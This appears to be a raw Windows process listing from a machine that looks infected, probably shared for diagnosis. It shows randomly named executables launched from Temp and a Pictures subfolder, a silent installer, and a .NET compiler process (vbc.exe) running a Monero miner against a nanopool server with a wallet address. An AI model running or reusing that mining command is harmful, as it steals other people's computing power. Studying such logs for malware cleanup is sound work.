ID: 11716, Name: 3DA5.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Temp\
3DA5.exe
===============
ID: 11508, Name: 3EFE.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Temp\
3EFE.exe
===============
ID: 11968, Name: consent.exe, CommandLine: consent.exe 5904 460 000001BC5CA42980
===============
ID: 5024, Name: 4A2D.exe, CommandLine: C:\Users\Korisnik\AppData\Local\Temp\
4A2D.exe
===============
ID: 12332, Name: consent.exe, CommandLine: consent.exe 5904 460 000001BC5CA23FA0
===============
ID: 12820, Name: vbc.exe, CommandLine: C:\Windows\Microsoft.NET\Framework64\
v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5
vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
===============
ID: 12856, Name: Discord.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\
Discord\app-1.0.9012\Discord.exe" --type=renderer --user-data-dir="C:\Users\
Korisnik\AppData\Roaming\discord" --app-user-model-id=com.squirrel.Discord.Discord
--app-path="C:\Users\Korisnik\AppData\Local\Discord\app-1.0.9012\resources\
app.asar" --no-sandbox --no-zygote --autoplay-policy=no-user-gesture-required --
lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-
before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-
1681869563366219 --launch-time-ticks=64582348173 --mojo-platform-channel-
handle=3408 --field-trial-
handle=1700,i,2799126746874108894,5540332076373833563,131072 --disable-
features=HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProces
s,WinRetrieveSuggestionsOnlyOnDemand --enable-node-leakage-in-renderers /prefetch:1
===============
ID: 9232, Name: Discord.exe, CommandLine: "C:\Users\Korisnik\AppData\Local\Discord\
app-1.0.9012\Discord.exe" --type=utility --utility-sub-
type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-
data-dir="C:\Users\Korisnik\AppData\Roaming\discord" --mojo-platform-channel-
handle=3960 --field-trial-
handle=1700,i,2799126746874108894,5540332076373833563,131072 --disable-
features=HardwareMediaKeyHandling,MediaSessionService,SpareRendererForSitePerProces
s,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
===============
ID: 13112, Name: 2TS2Gt9_tShRQQzoEJOyqiII.exe, CommandLine: "C:\Users\Korisnik\
Pictures\Minor Policy\2TS2Gt9_tShRQQzoEJOyqiII.exe"
===============
ID: 12816, Name: xXgmYpKahQxW27Qv6hquqCRT.exe, CommandLine: "C:\Users\Korisnik\
Pictures\Minor Policy\xXgmYpKahQxW27Qv6hquqCRT.exe"
===============
ID: 2512, Name: is-T9V0L.tmp, CommandLine: "C:\Users\Korisnik\AppData\Local\Temp\
is-LTHMT.tmp\is-T9V0L.tmp" /SL4 $202FC "C:\Users\Korisnik\Pictures\Minor Policy\
xXgmYpKahQxW27Qv6hquqCRT.exe" 2484247 56320
===============
ID: 7196, Name: Rec419.exe, CommandLine: "C:\Program Files (x86)\FKDsoftFR\Rec419\
Rec419.exe"
===============
ID: 6452, Name: node.exe, CommandLine: node.exe node.lib 3956101466505 1934159391
===============
ID: 2916, Name: 1r5lkdMSwpBKR_adKiRtp6Ug.exe, CommandLine: "C:\Users\Korisnik\
Pictures\Minor Policy\1r5lkdMSwpBKR_adKiRtp6Ug.exe"
===============
ID: 12516, Name: CwWEI_ig9sL8riGKzWLYPy1K.exe, CommandLine: "C:\Users\Korisnik\
Pictures\Minor Policy\CwWEI_ig9sL8riGKzWLYPy1K.exe"
===============
ID: 13184, Name: AppLaunch.exe, CommandLine: "C:\\Windows\\Microsoft.NET\\
Framework\\v4.0.30319\\AppLaunch.exe"
===============
ID: 1588, Name: Install.exe, CommandLine: .\Install.exe
===============
ID: 6376, Name: Install.exe, CommandLine: .\Install.exe /S /site_id "525403"
===============
ID: 8436, Name: cmd.exe, CommandLine:
===============
ID: 3012, Name: conhost.exe, CommandLine:
===============
ID: 13308, Name: timeout.exe, CommandLine:
===============
ID: 13012, Name: gpupdate.exe, CommandLine: "C:\Windows\system32\gpupdate.exe"
/force
===============
ID: 8164, Name: conhost.exe, CommandLine: \??\C:\Windows\system32\conhost.exe 0x4